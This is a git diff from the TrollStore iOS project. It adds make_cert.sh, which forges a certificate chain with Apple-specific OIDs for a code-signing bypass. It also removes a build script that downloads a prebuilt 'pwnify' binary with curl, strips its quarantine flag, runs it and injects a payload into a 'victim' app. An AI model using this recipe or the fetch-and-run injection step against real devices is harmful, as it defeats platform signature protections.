+./make_cert.sh +``` + +(Currently victim_gta.p12 is used by the build script, this works for GTA Car Tracker app, to use another app generate a new cert with the team ID and make sure to update the path in build script too) + +((Disregard the user app stuff described above, it's not implemented yet, will be in TrollStore 2.0)) \ No newline at end of file diff --git a/Victim/make_cert.sh b/Victim/make_cert.sh new file mode 100755 index 0000000..a685115 --- /dev/null +++ b/Victim/make_cert.sh @@ -0,0 +1,34 @@ +set -e +export PATH="/opt/homebrew/Cellar/openssl@3/3.0.5/bin:$PATH" + +true && openssl req -newkey rsa:2048 -nodes -keyout root_key.pem -x509 -days 3650 -out root_certificate.pem \ + -subj "/C=CA/O=TrollStore/OU=$1/CN=TrollStore iPhone Root CA" \ + -addext "1.2.840.113635.100.6.2.18=DER:0500" \ + -addext "basicConstraints=critical, CA:true" -addext "keyUsage=critical, digitalSignature, keyCertSign, cRLSign" +true && openssl req -newkey rsa:2048 -nodes -keyout codeca_key.pem -out codeca_certificate.csr \ + -subj "/C=CA/O=TrollStore/OU=$1/CN=TrollStore iPhone Certification Authority" \ + -addext "1.2.840.113635.100.6.2.18=DER:0500" \ + -addext "basicConstraints=critical, CA:true" -addext "keyUsage=critical, keyCertSign, cRLSign" +true && openssl x509 -req -CAkey root_key.pem -CA root_certificate.pem -days 3650 \ + -in codeca_certificate.csr -out codeca_certificate.pem -CAcreateserial -copy_extensions copyall +true && openssl req -newkey rsa:2048 -nodes -keyout dev_key.pem -out dev_certificate.csr \ + -subj "/C=CA/O=TrollStore/OU=$1/CN=TrollStore iPhone OS Application Signing" \ + -addext "basicConstraints=critical, CA:false" \ + -addext "keyUsage = critical, digitalSignature" -addext "extendedKeyUsage = codeSigning" \ + -addext "1.2.840.113635.100.6.1.3=DER:0500" +true && openssl x509 -req -CAkey codeca_key.pem -CA codeca_certificate.pem -days 3650 \ + -in dev_certificate.csr -out dev_certificate.pem -CAcreateserial -copy_extensions copyall +true && cat codeca_certificate.pem root_certificate.pem >certificate_chain.pem +true && /usr/bin/openssl pkcs12 -export -in dev_certificate.pem -inkey dev_key.pem -certfile certificate_chain.pem \ + -keypbe NONE -certpbe NONE -passout pass: \ + -out victim.p12 -name "TrollStore iPhone OS Application Signing" + +rm certificate_chain.pem +rm codeca_certificate.csr +rm codeca_certificate.pem +rm codeca_key.pem +rm dev_certificate.csr +rm dev_certificate.pem +rm dev_key.pem +rm root_certificate.pem +rm root_key.pem \ No newline at end of file diff --git a/Victim/victim b/Victim/victim new file mode 100755 index 0000000..b723ec1 Binary files /dev/null and b/Victim/victim differ diff --git a/Victim/victim.p12 b/Victim/victim.p12 new file mode 100644 index 0000000..00214ab Binary files /dev/null and b/Victim/victim.p12 differ diff --git a/Victim/victim_gta.p12 b/Victim/victim_gta.p12 new file mode 100644 index 0000000..b47d699 Binary files /dev/null and b/Victim/victim_gta.p12 differ diff --git a/_compile/build_full.sh b/_compile/build_full.sh deleted file mode 100755 index 9025dad..0000000 --- a/_compile/build_full.sh +++ /dev/null @@ -1,71 +0,0 @@ -#!/bin/sh -set -e - -if [ -d "./out" ] -then - rm -rf ./out -fi -mkdir -p ./out - -# Step one: Compile TrollStore - -cd ../Store -make clean -make FINALPACKAGE=1 -cd - - -cp -r ../Store/.theos/obj/TrollStore.app ./out/TrollStore.app -ldid -S -M -Kcert.p12 ./out/TrollStore.app - -# Step two: Compile and permasign helper - -cd ../Helper -make clean -make FINALPACKAGE=1 -cd - - -cp ../Helper/.theos/obj/trollstorehelper ./out/TrollStore.app/trollstorehelper -ldid -S -M -Kcert.p12 ./out/TrollStore.app/trollstorehelper - -# Step three: Compile and permasign persistence helper - -# (copy helper into persistence helper) -cp ./out/TrollStore.app/trollstorehelper ../PersistenceHelper/Resources/trollstorehelper - -cd ../PersistenceHelper -make clean -make package FINALPACKAGE=1 -cd - - -rm ../PersistenceHelper/Resources/trollstorehelper - -cp ../PersistenceHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./out/TrollStore.app/PersistenceHelper -ldid -S -M -Kcert.p12 ./out/TrollStore.app/PersistenceHelper - -# Step four: tar everything - -cd out -COPYFILE_DISABLE=1 tar -czvf TrollStore.tar ./TrollStore.app -rm -rf ./TrollStore.app -cd - - -if [[ $1 == "installer" ]]; then - # Step five: compile TrollInstaller - xcodebuild -project ../Installer/TrollInstaller/TrollInstaller.xcodeproj -scheme TrollInstaller -destination generic/platform=iOS -archivePath ./out/Installer.xcarchive archive - - if [[ -f "./out/Installer.xcarchive/Products/Applications/TrollInstaller.app/embedded.mobileprovision" ]]; then - rm ./out/Installer.xcarchive/Products/Applications/TrollInstaller.app/embedded.mobileprovision - fi - - ldid -s ./out/Installer.xcarchive/Products/Applications/TrollInstaller.app - mkdir ./out/Payload - mv ./out/Installer.xcarchive/Products/Applications/TrollInstaller.app ./out/Payload/TrollInstaller.app - cd out - zip -vr TrollInstaller.ipa Payload - cd - - rm -rf ./out/Payload - rm -rf ./out/Installer.xcarchive - - # Step six: compile TrollInstaller 2 - ./build_trollinstaller2.sh -fi \ No newline at end of file diff --git a/_compile/build_trollinstaller2.sh b/_compile/build_trollinstaller2.sh deleted file mode 100755 index 5748e84..0000000 --- a/_compile/build_trollinstaller2.sh +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/bash -set -e - -if [ ! -d "./out" ] -then - mkdir -p ./out -fi - -if [ -d "./out/tmppwn" ] -then - rm -rf ./out/tmppwn -fi - -if [ -f "./out/TrollInstaller2_arm64e.ipa" ] -then - rm ./out/TrollInstaller2_arm64e.ipa -fi - -IS_PROCURSUS_LDID=0 -{ LDID_OUTPUT="$( { ldid; } 2>&1 1>&3 3>&- )"; } 3>&1; -case "$LDID_OUTPUT" in - *"procursus"*) - IS_PROCURSUS_LDID=1 - ;; -esac - -if [[ "$IS_PROCURSUS_LDID" -eq 0 ]]; then - echo "ERROR: You are not using Procursus ldid, follow the guide to switch to it." - exit 1 -fi - -mkdir ./out/tmppwn || true 2> /dev/null - -cd ../Installer/TrollInstaller2 -make clean -make package -cd - 2> /dev/null - -lipo -thin arm64e ../Installer/TrollInstaller2/.theos/obj/debug/TrollInstaller2.app/TrollInstaller2 -output ./out/tmppwn/pwn_arm64e -ldid -S -M -Kcert.p12 ./out/tmppwn/pwn_arm64e - -unzip ./target/InstallerVictim.ipa -d ./out/tmppwn - -cd ./out/tmppwn/Payload -APP_NAME=$(find *.app -maxdepth 0) -BINARY_NAME=$(echo "$APP_NAME" | cut -f 1 -d '.') -cd - 2> /dev/null - -if [ ! -f "./pwnify_compiled" ] -then - curl https://raw.githubusercontent.com/LinusHenze/Fugu14/master/tools/pwnify_compiled --output ./pwnify_compiled - xattr -c ./pwnify_compiled - chmod +x ./pwnify_compiled - codesign -f -s - ./pwnify_compiled -fi - -./pwnify_compiled ./out/tmppwn/Payload/$APP_NAME/$BINARY_NAME ./out/tmppwn/pwn_arm64e -rm ./out/tmppwn/pwn_arm64e - -cd ./out/tmppwn -zip -vr ../TrollInstaller2_arm64e.ipa * -cd - - -rm -rf ./out/tmppwn \ No newline at end of file diff --git a/_compile/cert.p12 b/_compile/cert.p12 deleted file mode 100644 index 378b83b..0000000 Binary files a/_compile/cert.p12 and /dev/null differ diff --git a/Store/Resources/cert.p12 b/cert.p12 similarity index 100% rename from Store/Resources/cert.p12 rename to cert.p12 diff --git a/cert_new.p12 b/cert_new.p12 new file mode 100644 index 0000000..a614168 Binary files /dev/null and b/cert_new.p12 differ